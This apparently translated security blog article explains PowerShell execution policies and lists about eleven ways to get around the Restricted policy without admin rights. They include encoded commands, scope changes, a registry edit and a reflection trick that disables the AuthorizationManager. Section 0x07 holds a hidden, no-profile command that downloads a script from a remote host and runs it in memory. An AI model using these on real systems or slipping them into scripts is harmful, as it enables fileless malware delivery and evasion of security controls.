Mastering PowerShell: Advanced Execution Policies and Bypass Techniques on Windows, Linux, and macOS

Network security

What is PowerShell Execution Policy

PowerShell is a cross-platform task automation solution, consisting of a command-line shell, scripting language, and configuration management framework. PowerShell runs on Windows, Linux, and macOS.

Due to the following properties, PowerShell is often favored by administrators or security personnel.

1. Native to Windows 2. Can call Windows API 3. Fileless command execution 4. Can evade Anti-Virus detection (though this is quite sensitive now) 5. Included in the whitelist by most programs, marked as trusted 6. Has many open-source penetration toolkits

Windows has designed a feature called Execution Policy for PowerShell to determine what types of PowerShell scripts can run on the system. PowerShell offers six types of execution policies: Restricted, AllSigned, RemoteSigned, Unrestricted, Bypass, Undefined. By default, it is “Restricted,” meaning no scripts can run. However, it is not meant to prevent the execution of malicious scripts but to help users set basic rules and prevent them from unintentionally breaching rules.

PowerShell: Restricted

• The default execution policy for Windows client computers.

• Allows running single commands but does not allow running scripts. • Prevents all script files from running, including formatting and configuration files (.ps1xml), module script files (.psm1), and PowerShell profiles (.ps1).

PowerShell AllSigned

• Scripts can run. • Requires all scripts and configuration files to be signed by a trusted publisher, including scripts written on the local computer. • Prompts before running scripts from publishers you have not yet classified as trusted or untrusted.

RemoteSigned: PowerShell Execution Policy

• The default execution policy for Windows server computers.

• Scripts can run. • Requires a trusted publisher’s digital signature on scripts and configuration files downloaded from the Internet (including emails and instant messaging programs). • Does not require scripts written on the local computer (not downloaded from the Internet) to have a digital signature. • Runs unsigned scripts downloaded from the Internet (if the script is not blocked, e.g., using the Unblock-File cmdlet). • There is a risk of running unsigned scripts from sources outside the Internet and possibly malicious signed scripts.

Unrestricted PowerShell

• Unsigned scripts can run. There is a risk of running malicious scripts. • Warns users before running scripts and configuration files not from the local Intranet zone.

Bypass PowerShell

• Nothing is blocked, and there are no warnings or prompts. • This execution policy is designed for configurations where PowerShell scripts are embedded within a larger application or used as the basis for a program with its security model.

PowerShell: Undefined

• The execution policy is not set in the current scope. • If the execution policies in all scopes are Undefined, the effective execution policy is Restricted.

Use the command to view the current execution policy.

“`javascript Get-ExecutionPolicy “` PowerShell>

Obtain all execution policies affecting the current session.

“`javascript Get-ExecutionPolicy -List “` PowerShell>

Each of these policies can be applied to different scopes to control who they affect, with the scopes being:

• MachinePolicy: Execution policy set by Group Policy for all users. • UserPolicy: Execution policy set by Group Policy for the current user. • Process: Execution policy set for the current Windows PowerShell process. • CurrentUser: Execution policy set for the current user. • LocalMachine: Execution policy set for all users.

Similarly, the execution policy can be modified using the command Set-ExecutionPolicy. Microsoft’s brief description is: Sets the PowerShell execution policy for Windows computers.

However, modifying the policy requires at least administrative privileges

This article briefly discusses how to bypass the default Restricted execution policy settings without administrative privileges.

Preparation

Operating System: Windows 10 Professional, Version 20H2

Write the simplest script: Write-Host "this is a test".

When the script is run directly on a machine with the Restricted execution policy, the error “This system prohibits running scripts” will occur.

0x01 Paste scripts directly into the PowerShell interactive window

Since running single commands is allowed, but scripts are not allowed, you can paste script code directly into the PowerShell interactive window, which is the most straightforward.

0x02 -Command parameter

This method is similar to the one above, but it does not require an interactive window. It is suitable for executing simple scripts, but cannot execute slightly more complex scripts.

“`javascript powershell -command Write-Host “this is a test” “`

0x03 Pipe transfer

Read a script from a file and then pipe it to the standard input of PowerShell

Echo script to PowerShell’s standard input:

“`javascript Echo Write-Host “this is a test” | PowerShell.exe -noprofile – “`

Similarly, you can use the Windows ‘type’ command, the only difference is that you can directly type an actual file, essentially the same.

“`javascript type xxx.ps1 | PowerShell.exe -noprofile – “`

PowerShell’s Get-Content command reads your script from disk and inputs it into standard PowerShell.

0x04 Use Invoke-Command or Invoke-Expression commands

Invoke-Command

Execute via an interactive PowerShell console.

In addition, this command has a rather exaggerated function of grabbing remote host policies and applying them to the current host.

A test has been done here on a workgroup.

“`javascript invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force “`

However, it did not succeed here. After capturing the traffic with Wireshark, I found nothing, and it was not the SMB protocol. If anyone has succeeded in executing it, feel free to share your insight.

Invoke-Expression

Similarly, this can be done via an interactive console.

“`javascript Get-Content xxx.ps1 | Invoke-ExpressionGet-Content xxx.ps1 | iex “`

Both commands above have the same effect, but ‘iex’ is a shorthand version for Invoke-Expression.

0x05 Use “Bypass” to mark Execution Policy

“`javascript powershell.exe -ExecutionPolicy Bypass -File xxx.ps1 “`

Here, apart from RemoteSigned, the other execution policies are possible, so I won’t list them all.

0x06 Use the -EncodedCommand parameter

By encoding the script in Unicode / Base64, this method can bypass all errors encountered when executed through the “Command” parameter, serving as an enhanced version of the Command option.

“`javascript $command = “Write-Host ‘this is a test’”$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand = [Convert]::ToBase64String($bytes)$encodedCommandpowershell.exe -EncodedCommand $encodedCommand “`

You can first output the corresponding encoding locally, and then use it directly on the target machine

“`javascript powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACcAdABoAGkAcwAgAGkAcwAgAGEAIAB0AGUAcwB0ACcA “`

0x07 URL Download

Those who use CS extensively might know that CS’s PowerShell fileless execution method employs this approach. This technique can be used to download a PowerShell script from the web and execute it without writing to disk. It also does not result in any configuration changes.

“`javascript powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.59.128:8066/a’))” “`

Also unaffected by execution policies, it essentially downloads a script from port 8066 on 192.168.59.128 and executes it.

0x08 Registry Modification

Based on my testing, the path is:

“`javascript Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell “`

This key-value pair may not exist at first, so add it yourself.

When I attempted to modify the registry with a regular permission command line, I failed.

“`javascript reg add HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass “`

I also saw another path online, but it did not exist on Windows 10 machines.

“`javascript HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell “`

Since it starts with HKCU, it should be possible with normal permissions, possibly on older operating systems, or add a key-value pair yourself. I did not try it here, but by viewing all execution policies, you can see that it modifies the LocalMachine’s execution policy. Adding a key-value pair under HKCU should be feasible.

0x09 Use “Remote-Signed” to mark Execution Policy

The idea is to create a self-signed certificate and digitally sign the script, allowing it to be marked and run as Remote-Signed.

This feels somewhat cumbersome, requiring tools like makecert to generate a self-signed certificate and sign it. The process is relatively complex, as referenced from https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

Directly marking it as Remote-Signed doesn’t allow it to run, so why not just mark it as Bypass (chuckle)

“`javascript PowerShell.exe -ExecutionPolicy Remote-signed -File xxx.ps1 “`

0x0A Bypass based on hierarchy

The command Get-ExecutionPolicy -list shows several scopes. This was explained at the beginning of the article in terms of their respective scope. Without modifying all policy scopes, it can be bypassed.

Set ExecutionPolicy to Process Scope, no admin rights required. You can see scripts can be executed directly.

“`javascript Set-ExecutionPolicy Bypass -Scope Process “`

Similarly, you can modify CurrentUser, also without needing admin rights.

“`javascript Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted “`

0x0B Swap AuthorizationManager to disable ExecutionPolicy

When the function is called, “AuthorizationManager” will be replaced with null, and ExecutionPolicy is disabled. Even if the execution policy is still Restricted, scripts can be executed. Its changes will apply for the duration of the session.

“`javascript function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}Disable-ExecutionPolicy “`

Share this